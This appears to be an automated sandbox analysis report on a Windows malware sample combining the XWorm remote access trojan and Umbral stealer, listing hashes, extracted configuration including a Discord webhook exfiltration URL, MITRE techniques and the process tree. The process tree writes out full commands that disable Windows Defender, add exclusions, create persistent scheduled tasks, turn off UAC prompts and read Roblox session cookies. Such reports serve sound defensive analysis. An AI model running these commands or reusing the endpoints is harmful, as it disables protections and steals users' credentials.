umbral | 6ebd5512d5cede4fdf769c35a48727c5fd5acb8ac40ae4c5ea7e9ca37fc8747b

Analysis

max time kernel
130s
max time network
148s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 22:04

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General

Target

LastActivityView.exe
Size

89KB
MD5

499e35df562563babfff6a1d2ee71743
SHA1

7bece5115d9df1fa43b6a7a69f9574a498388960
SHA256

6ebd5512d5cede4fdf769c35a48727c5fd5acb8ac40ae4c5ea7e9ca37fc8747b
SHA512

2df1934de1f45661ab929a7f7658478f5a3d8cacfbe682f1f6b8bee8a49ab2720141a1c0ea74608e14002ff5132cb0932c7fb5b3790575b5e23c5327adfdf377
SSDEEP

1536:XQol2xVvTS+KaYKvHUxErb2PPSUF2Q06yG2OklzG2OrSBR27KmhDWP:XQvVqaZsqrbeafQUmklzG2OrUyKdP

Score

10^/10

umbral xworm evasion execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

https://pastebin.com/raw/R8gFU5SX:123456789

Attributes

Install_directory
%ProgramData%
install_file
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
pastebin_url
https://pastebin.com/raw/R8gFU5SX

Extracted

Family

umbral

https://discord.com/api/webhooks/1237145706423123999/BQqwyjXaKt7KqCLA_iWguAde2fiNgpA36IvFL69WoxRB6yoYhMjlc7o80Exvew2DFX8M

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/2460-86-0x0000000000910000-0x000000000091E000-memory.dmp	disable_win_def

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral1/memory/2144-42-0x0000000000190000-0x00000000001D0000-memory.dmp	family_umbral
behavioral1/files/0x0008000000014317-41.dat	family_umbral
behavioral1/memory/1332-94-0x00000000012D0000-0x0000000001310000-memory.dmp	family_umbral

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2460-1-0x0000000000920000-0x000000000093C000-memory.dmp	family_xworm
behavioral1/files/0x000f000000012279-31.dat	family_xworm
behavioral1/memory/2492-33-0x00000000001F0000-0x000000000020C000-memory.dmp	family_xworm
behavioral1/memory/2756-85-0x00000000010C0000-0x00000000010DC000-memory.dmp	family_xworm

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	LastActivityView.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe
1500	powershell.exe
2984	powershell.exe
2820	powershell.exe
2568	powershell.exe
2528	powershell.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	rfkpln.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	iehjot.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.lnk	LastActivityView.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.lnk	LastActivityView.exe

Executes dropped EXE 5 IoCs

pid	Process
2492	{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
2144	iehjot.exe
2756	{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
1332	rfkpln.exe
1292	{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052 = "C:\\ProgramData\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe"	LastActivityView.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
23	discord.com
4	pastebin.com
5	pastebin.com
6	2.tcp.eu.ngrok.io
8	2.tcp.eu.ngrok.io
15	discord.com
16	discord.com
22	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com
2	ip-api.com
12	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2880	schtasks.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2148	wmic.exe
1980	wmic.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2556	PING.EXE
1804	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2460	LastActivityView.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
2820	powershell.exe
2568	powershell.exe
2528	powershell.exe
2704	powershell.exe
2460	LastActivityView.exe
2144	iehjot.exe
1500	powershell.exe
308	powershell.exe
2396	powershell.exe
1044	powershell.exe
1608	powershell.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
1332	rfkpln.exe
2984	powershell.exe
1304	powershell.exe
3056	powershell.exe
856	powershell.exe
1976	powershell.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	LastActivityView.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2460	LastActivityView.exe
Token: SeDebugPrivilege	2492	{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
Token: SeDebugPrivilege	2144	iehjot.exe
Token: SeIncreaseQuotaPrivilege	604	wmic.exe
Token: SeSecurityPrivilege	604	wmic.exe
Token: SeTakeOwnershipPrivilege	604	wmic.exe
Token: SeLoadDriverPrivilege	604	wmic.exe
Token: SeSystemProfilePrivilege	604	wmic.exe
Token: SeSystemtimePrivilege	604	wmic.exe
Token: SeProfSingleProcessPrivilege	604	wmic.exe
Token: SeIncBasePriorityPrivilege	604	wmic.exe
Token: SeCreatePagefilePrivilege	604	wmic.exe
Token: SeBackupPrivilege	604	wmic.exe
Token: SeRestorePrivilege	604	wmic.exe
Token: SeShutdownPrivilege	604	wmic.exe
Token: SeDebugPrivilege	604	wmic.exe
Token: SeSystemEnvironmentPrivilege	604	wmic.exe
Token: SeRemoteShutdownPrivilege	604	wmic.exe
Token: SeUndockPrivilege	604	wmic.exe
Token: SeManageVolumePrivilege	604	wmic.exe
Token: 33	604	wmic.exe
Token: 34	604	wmic.exe
Token: 35	604	wmic.exe
Token: SeIncreaseQuotaPrivilege	604	wmic.exe
Token: SeSecurityPrivilege	604	wmic.exe
Token: SeTakeOwnershipPrivilege	604	wmic.exe
Token: SeLoadDriverPrivilege	604	wmic.exe
Token: SeSystemProfilePrivilege	604	wmic.exe
Token: SeSystemtimePrivilege	604	wmic.exe
Token: SeProfSingleProcessPrivilege	604	wmic.exe
Token: SeIncBasePriorityPrivilege	604	wmic.exe
Token: SeCreatePagefilePrivilege	604	wmic.exe
Token: SeBackupPrivilege	604	wmic.exe
Token: SeRestorePrivilege	604	wmic.exe
Token: SeShutdownPrivilege	604	wmic.exe
Token: SeDebugPrivilege	604	wmic.exe
Token: SeSystemEnvironmentPrivilege	604	wmic.exe
Token: SeRemoteShutdownPrivilege	604	wmic.exe
Token: SeUndockPrivilege	604	wmic.exe
Token: SeManageVolumePrivilege	604	wmic.exe
Token: 33	604	wmic.exe
Token: 34	604	wmic.exe
Token: 35	604	wmic.exe
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	308	powershell.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeIncreaseQuotaPrivilege	2004	wmic.exe
Token: SeSecurityPrivilege	2004	wmic.exe
Token: SeTakeOwnershipPrivilege	2004	wmic.exe
Token: SeLoadDriverPrivilege	2004	wmic.exe
Token: SeSystemProfilePrivilege	2004	wmic.exe
Token: SeSystemtimePrivilege	2004	wmic.exe
Token: SeProfSingleProcessPrivilege	2004	wmic.exe
Token: SeIncBasePriorityPrivilege	2004	wmic.exe
Token: SeCreatePagefilePrivilege	2004	wmic.exe
Token: SeBackupPrivilege	2004	wmic.exe
Token: SeRestorePrivilege	2004	wmic.exe
Token: SeShutdownPrivilege	2004	wmic.exe

Suspicious use of FindShellTrayWindow 56 IoCs

pid	Process
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2860	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe
2440	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2460	LastActivityView.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2460 wrote to memory of 2820	2460	LastActivityView.exe	29
PID 2460 wrote to memory of 2820	2460	LastActivityView.exe	29
PID 2460 wrote to memory of 2820	2460	LastActivityView.exe	29
PID 2460 wrote to memory of 2568	2460	LastActivityView.exe	31
PID 2460 wrote to memory of 2568	2460	LastActivityView.exe	31
PID 2460 wrote to memory of 2568	2460	LastActivityView.exe	31
PID 2460 wrote to memory of 2528	2460	LastActivityView.exe	33
PID 2460 wrote to memory of 2528	2460	LastActivityView.exe	33
PID 2460 wrote to memory of 2528	2460	LastActivityView.exe	33
PID 2460 wrote to memory of 2704	2460	LastActivityView.exe	35
PID 2460 wrote to memory of 2704	2460	LastActivityView.exe	35
PID 2460 wrote to memory of 2704	2460	LastActivityView.exe	35
PID 2460 wrote to memory of 2880	2460	LastActivityView.exe	37
PID 2460 wrote to memory of 2880	2460	LastActivityView.exe	37
PID 2460 wrote to memory of 2880	2460	LastActivityView.exe	37
PID 3004 wrote to memory of 2492	3004	taskeng.exe	40
PID 3004 wrote to memory of 2492	3004	taskeng.exe	40
PID 3004 wrote to memory of 2492	3004	taskeng.exe	40
PID 2460 wrote to memory of 2144	2460	LastActivityView.exe	43
PID 2460 wrote to memory of 2144	2460	LastActivityView.exe	43
PID 2460 wrote to memory of 2144	2460	LastActivityView.exe	43
PID 2144 wrote to memory of 604	2144	iehjot.exe	44
PID 2144 wrote to memory of 604	2144	iehjot.exe	44
PID 2144 wrote to memory of 604	2144	iehjot.exe	44
PID 2144 wrote to memory of 1244	2144	iehjot.exe	46
PID 2144 wrote to memory of 1244	2144	iehjot.exe	46
PID 2144 wrote to memory of 1244	2144	iehjot.exe	46
PID 2144 wrote to memory of 1500	2144	iehjot.exe	48
PID 2144 wrote to memory of 1500	2144	iehjot.exe	48
PID 2144 wrote to memory of 1500	2144	iehjot.exe	48
PID 2144 wrote to memory of 308	2144	iehjot.exe	50
PID 2144 wrote to memory of 308	2144	iehjot.exe	50
PID 2144 wrote to memory of 308	2144	iehjot.exe	50
PID 2144 wrote to memory of 2396	2144	iehjot.exe	52
PID 2144 wrote to memory of 2396	2144	iehjot.exe	52
PID 2144 wrote to memory of 2396	2144	iehjot.exe	52
PID 2144 wrote to memory of 1044	2144	iehjot.exe	54
PID 2144 wrote to memory of 1044	2144	iehjot.exe	54
PID 2144 wrote to memory of 1044	2144	iehjot.exe	54
PID 2144 wrote to memory of 2004	2144	iehjot.exe	56
PID 2144 wrote to memory of 2004	2144	iehjot.exe	56
PID 2144 wrote to memory of 2004	2144	iehjot.exe	56
PID 2144 wrote to memory of 1856	2144	iehjot.exe	58
PID 2144 wrote to memory of 1856	2144	iehjot.exe	58
PID 2144 wrote to memory of 1856	2144	iehjot.exe	58
PID 2144 wrote to memory of 1292	2144	iehjot.exe	60
PID 2144 wrote to memory of 1292	2144	iehjot.exe	60
PID 2144 wrote to memory of 1292	2144	iehjot.exe	60
PID 2144 wrote to memory of 1608	2144	iehjot.exe	62
PID 2144 wrote to memory of 1608	2144	iehjot.exe	62
PID 2144 wrote to memory of 1608	2144	iehjot.exe	62
PID 2144 wrote to memory of 2148	2144	iehjot.exe	64
PID 2144 wrote to memory of 2148	2144	iehjot.exe	64
PID 2144 wrote to memory of 2148	2144	iehjot.exe	64
PID 2144 wrote to memory of 2824	2144	iehjot.exe	66
PID 2144 wrote to memory of 2824	2144	iehjot.exe	66
PID 2144 wrote to memory of 2824	2144	iehjot.exe	66
PID 2824 wrote to memory of 2556	2824	cmd.exe	68
PID 2824 wrote to memory of 2556	2824	cmd.exe	68
PID 2824 wrote to memory of 2556	2824	cmd.exe	68
PID 3004 wrote to memory of 2756	3004	taskeng.exe	69
PID 3004 wrote to memory of 2756	3004	taskeng.exe	69
PID 3004 wrote to memory of 2756	3004	taskeng.exe	69
PID 2460 wrote to memory of 1332	2460	LastActivityView.exe	71

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	LastActivityView.exe
Key created	\REGISTRY\MACHINE\software\microsoft\windows\currentversion\policies\system	LastActivityView.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1244	attrib.exe
1432	attrib.exe

C:\Users\Admin\AppData\Local\Temp\LastActivityView.exe
"C:\Users\Admin\AppData\Local\Temp\LastActivityView.exe"
1⤵
- UAC bypass
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\LastActivityView.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'LastActivityView.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052" /tr "C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2880
- C:\Users\Admin\AppData\Local\Temp\iehjot.exe
  "C:\Users\Admin\AppData\Local\Temp\iehjot.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:604
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\iehjot.exe"
    3⤵
    - Views/modifies file attributes
    PID:1244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\iehjot.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1044
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2004
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1856
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1608
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2148
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\iehjot.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:2556
- C:\Users\Admin\AppData\Local\Temp\rfkpln.exe
  "C:\Users\Admin\AppData\Local\Temp\rfkpln.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1332
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2744
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\rfkpln.exe"
    3⤵
    - Views/modifies file attributes
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rfkpln.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:856
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:956
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1356
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1976
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1980
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\rfkpln.exe" && pause
    3⤵
    PID:2316
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:1804

C:\Windows\system32\taskeng.exe
taskeng.exe {A0B187DF-25BE-4782-B762-E88031F8A7B5} S-1-5-21-481678230-3773327859-3495911762-1000:UIBNQNMA\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:3004
- C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
  C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2492
- C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
  C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
  C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe
  2⤵
  - Executes dropped EXE
  PID:1292

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2860

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2440

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0520000052000052.exe

Filesize
89KB

MD5
499e35df562563babfff6a1d2ee71743

SHA1
7bece5115d9df1fa43b6a7a69f9574a498388960

SHA256
6ebd5512d5cede4fdf769c35a48727c5fd5acb8ac40ae4c5ea7e9ca37fc8747b

SHA512
2df1934de1f45661ab929a7f7658478f5a3d8cacfbe682f1f6b8bee8a49ab2720141a1c0ea74608e14002ff5132cb0932c7fb5b3790575b5e23c5327adfdf377

Download Submit
C:\Users\Admin\AppData\Local\Temp\iehjot.exe

Filesize
229KB

MD5
ee2c566e9e628ac66f0c0b4dffff17e5

SHA1
1a5d584209f0d0a91aa5d69998aa8b2537b62119

SHA256
f45b08a9b6471ff1d37cd4241c8b63ff29267d7f6745443ac7fa3ba9aa92f997

SHA512
6636ca808dcb89f9b7240e29f33d5f75b8288729dbf0af9128e7f5e75516923a483052bf89436e490d8b92e525a9f7ed70e224c564eaf646c03919a18d8d01d2

Download Submit
